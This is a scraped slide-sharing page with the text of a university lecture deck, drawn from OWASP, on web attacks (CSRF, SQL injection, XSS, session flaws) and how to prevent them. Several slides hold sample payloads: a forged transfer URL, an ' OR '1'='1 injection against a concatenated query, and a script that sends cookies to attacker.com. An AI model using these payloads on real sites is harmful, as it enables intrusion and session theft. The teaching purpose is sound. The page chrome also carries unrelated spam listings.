Sql Injection and XSS
Sql Injection and XSSSql Injection and XSS
Sql Injection and XSSMike Crabb
 
Forms and Databases in PHP
Forms and Databases in PHPForms and Databases in PHP
Forms and Databases in PHPMike Crabb
 

Mehr von Mike Crabb (20)

Hard to Reach Users in Easy to Reach Places
Hard to Reach Users in Easy to Reach PlacesHard to Reach Users in Easy to Reach Places
Hard to Reach Users in Easy to Reach Places
 
Accessible and Assistive Interfaces
Accessible and Assistive InterfacesAccessible and Assistive Interfaces
Accessible and Assistive Interfaces
 
Accessible Everyone
Accessible EveryoneAccessible Everyone
Accessible Everyone
 
The Peer Review Process
The Peer Review ProcessThe Peer Review Process
The Peer Review Process
 
Managing Quality In Qualitative Research
Managing Quality In Qualitative ResearchManaging Quality In Qualitative Research
Managing Quality In Qualitative Research
 
Analysing Qualitative Data
Analysing Qualitative DataAnalysing Qualitative Data
Analysing Qualitative Data
 
Conversation Discourse and Document Analysis
Conversation Discourse and Document AnalysisConversation Discourse and Document Analysis
Conversation Discourse and Document Analysis
 
Ethnographic and Observational Research
Ethnographic and Observational ResearchEthnographic and Observational Research
Ethnographic and Observational Research
 
Doing Focus Groups
Doing Focus GroupsDoing Focus Groups
Doing Focus Groups
 
Doing Interviews
Doing InterviewsDoing Interviews
Doing Interviews
 
Designing Qualitative Research
Designing Qualitative ResearchDesigning Qualitative Research
Designing Qualitative Research
 
Introduction to Accessible Design
Introduction to Accessible DesignIntroduction to Accessible Design
Introduction to Accessible Design
 
Accessible Everyone
Accessible EveryoneAccessible Everyone
Accessible Everyone
 
Texture and Glyph Design
Texture and Glyph DesignTexture and Glyph Design
Texture and Glyph Design
 
Pattern Perception and Map Design
Pattern Perception and Map DesignPattern Perception and Map Design
Pattern Perception and Map Design
 
Dealing with Enterprise Level Data
Dealing with Enterprise Level DataDealing with Enterprise Level Data
Dealing with Enterprise Level Data
 
Using Cloud in an Enterprise Environment
Using Cloud in an Enterprise EnvironmentUsing Cloud in an Enterprise Environment
Using Cloud in an Enterprise Environment
 
Teaching Cloud to the Programmers of Tomorrow
Teaching Cloud to the Programmers of TomorrowTeaching Cloud to the Programmers of Tomorrow
Teaching Cloud to the Programmers of Tomorrow
 
Sql Injection and XSS
Sql Injection and XSSSql Injection and XSS
Sql Injection and XSS
 
Forms and Databases in PHP
Forms and Databases in PHPForms and Databases in PHP
Forms and Databases in PHP
 

KĂŒrzlich hochgeladen

08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking MenDelhi Call girls
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEarley Information Science
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)wesley chun
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking MenDelhi Call girls
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonAnna Loughnan Colquhoun
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking MenDelhi Call girls
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...apidays
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Enterprise Knowledge
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking MenDelhi Call girls
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsMaria Levchenko
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)Gabriella Davis
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxMalak Abu Hammad
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?Igalia
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfEnterprise Knowledge
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonetsnaman860154
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationMichael W. Hawkins
 
🐬 The future of MySQL is Postgres 🐘
🐬 The future of MySQL is Postgres 🐘🐬 The future of MySQL is Postgres 🐘
🐬 The future of MySQL is Postgres 🐘RTylerCroy
 
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUK Journal
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountPuma Security, LLC
 

KĂŒrzlich hochgeladen (20)

08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed texts
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptx
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonets
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
🐬 The future of MySQL is Postgres 🐘
🐬 The future of MySQL is Postgres 🐘🐬 The future of MySQL is Postgres 🐘
🐬 The future of MySQL is Postgres 🐘
 
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path Mount
 

Hacking the Web

  • 1. HACKING THE WEB CONTENT LOVINGLY RIPPED FROM OWASP.ORG
  • 2. CROSS SITE SCRIPTINGL HACKING RGU ETH GU ETHICAL HACKING RGU ETHICAL HACKIN SQL INJECTIONHACKING RGU ETHICAL HACK NGRGU ETHICAL HACKINGRGU ETHICAL HAC COOKIE EDITINGACKING RGU ETHICAL HACK RGU ETHICAL HACKINGRGU ETHICAL HACKI CROSS SITE REQUEST FORGERYL HACKING CKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHIC SENSITIVE DATA EXPOSURE RGU ETHICAING
  • 3. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING L HACKING RGU ETH GU ETHICAL HACKING RGU ETHICAL HACKIN HACKING RGU ETHICAL HACK NGRGU ETHICAL HACKINGRGU ETHICAL HAC ACKING RGU ETHICAL HACK RGU ETHICAL HACKINGRGU ETHICAL HACKI L HACKING CKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHIC RGU ETHICAING
  • 4. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E ATTACK ATTACK ATTACK WEAKNESS WEAKNESS WEAKNESS WEAKNESS CONTROL CONTROL ASSETS FUNCTIONS Threat‹ Agents Attack‹ Vectors Security‹ Weaknesses Security‹ Controls Technical‹ Impacts Business‹ Impacts ATTACK WEAKNESS CONTROL FUNCTIONS IMPACT IMPACT IMPACTIMPACT
  • 5. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat‹ Agents Attack‹ Vectors Security‹ Weaknesses Security‹ Controls Technical‹ Impacts Business‹ Impacts
  • 6. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat‹ Agents Attack‹ Vectors Security‹ Weaknesses Technical‹ Impacts Business‹ Impacts APPLICATION SPECIFIC DIFFICULT UNCOMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
  • 7. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat‹ Agents Attack‹ Vectors Security‹ Weaknesses Technical‹ Impacts Business‹ Impacts APPLICATION SPECIFIC DIFFICULT UNCOMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
  • 8. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Considering the threats you plan to protect this data from (e.g., insider attack, external user), make sure you encrypt all sensitive data at rest and in transit in a manner that defends against these threats. Don’t store sensitive data unnecessarily. Discard it as soon as possible. Data you don’t have can’t be stolen. Ensure strong standard algorithms and strong keys are used, and proper key management is in place. Ensure passwords are stored with an algorithm speciïŹcally designed for password protection, such as bcrypt, PBKDF2, or scrypt. Disable autocomplete on forms collecting sensitive data and disable caching for pages that contain sensitive data.
  • 9. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat‹ Agents Attack‹ Vectors Security‹ Weaknesses Technical‹ Impacts Business‹ Impacts APPLICATION SPECIFIC AVERAGE COMMON EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability
  • 10. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat‹ Agents Attack‹ Vectors Security‹ Weaknesses Technical‹ Impacts Business‹ Impacts APPLICATION SPECIFIC AVERAGE COMMON EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability HTTP://WWW.MYAMAZINGBANK.COM/TRANSFERFUNDS.PHP?FROM=1234&TO=4321&AMOUNT=500 HTTP://WWW.MYAMAZINGBANK.COM/TRANSFERFUNDS.PHP?FROM=1234&TO=666&AMOUNT=5000 VERY EASY ATTACK. SOMETHING LIKE THIS
 CAN BE CHANGED TO THIS
  • 11. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT The preferred option is to include the unique token in a hidden ïŹeld. This causes the value to be sent in the body of the HTTP request, avoiding its inclusion in the URL, which is more prone to exposure. The unique token can also be included in the URL itself, or a URL parameter. However, such placement runs a greater risk that the URL will be exposed to an attacker, thus compromising the secret token. Requiring the user to re-authenticate, or prove they are a user (e.g., via a CAPTCHA) can also protect against CSRF. Easiest ïŹx, when dealing with forms, is to change it from GET to POST
  • 12. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat‹ Agents Attack‹ Vectors Security‹ Weaknesses Technical‹ Impacts Business‹ Impacts APPLICATION SPECIFIC AVERAGE WIDESPREAD AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability BROKEN AUTHENTICATION AND SESSION MANAGEMENT
  • 13. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT The primary recommendation for an organisation is to make available to developers: A single set of strong authentication and session management controls. Such controls should strive to: 1. meet all the authentication and session management requirements deïŹned in OWASP’s Application Security VeriïŹcation Standard (ASVS) areas V2 (Authentication) and V3 (Session Management). 2. have a simple interface for developers. Consider the ESAPI Authenticator and User APIs as good examples to emulate, use, or build upon.
  • 14. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat‹ Agents Attack‹ Vectors Security‹ Weaknesses Technical‹ Impacts Business‹ Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
  • 15. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat‹ Agents Attack‹ Vectors Security‹ Weaknesses Technical‹ Impacts Business‹ Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability STRING QUERY = "SELECT * FROM ACCOUNTS WHERE CUSTID='" + REQUEST.GETPARAMETER("ID") + "'"; HTTP://EXAMPLE.COM/APP/ACCOUNTVIEW?ID=' OR '1'='1
  • 16. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat‹ Agents Attack‹ Vectors Security‹ Weaknesses Technical‹ Impacts Business‹ Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability STRING QUERY = "SELECT * FROM ACCOUNTS WHERE CUSTID='" + REQUEST.GETPARAMETER("ID") + "'"; HTTP://EXAMPLE.COM/APP/ACCOUNTVIEW?ID=' OR '1'='1
  • 17. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Preventing injection requires keeping untrusted data separate from commands and queries. The preferred option is to use a safe API which avoids the use of the interpreter entirely or provides a parameterised interface. Be careful with APIs, such as stored procedures, that are parameterised, but can still introduce injection under the hood. If a parameterised API is not available, you should carefully escape special characters using the speciïŹc escape syntax for that interpreter. OWASP’s ESAPI provides many of these escaping routines.
  • 18. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat‹ Agents Attack‹ Vectors Security‹ Weaknesses Technical‹ Impacts Business‹ Impacts APPLICATION SPECIFIC AVERAGE VERY WIDESPREAD EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability (STRING) PAGE += "<INPUT NAME='CREDITCARD' TYPE='TEXT' VALUE='" + REQUEST.GETPARAMETER("CC") + "'>"; '><SCRIPT>DOCUMENT.LOCATION= 'HTTP://WWW.ATTACKER.COM/CGI-BIN/COOKIE.CGI ? FOO='+DOCUMENT.COOKIE</SCRIPT>'.
  • 19. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Positive or “whitelist” input validation is also recommended as it helps protect against XSS, but is not a complete defense as many applications require special characters in their input. For rich content, consider auto-sanitization libraries like the Java HTML Sanitizer Project. Consider Content Security Policy (CSP) to defend against XSS across your entire site.
  • 20. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING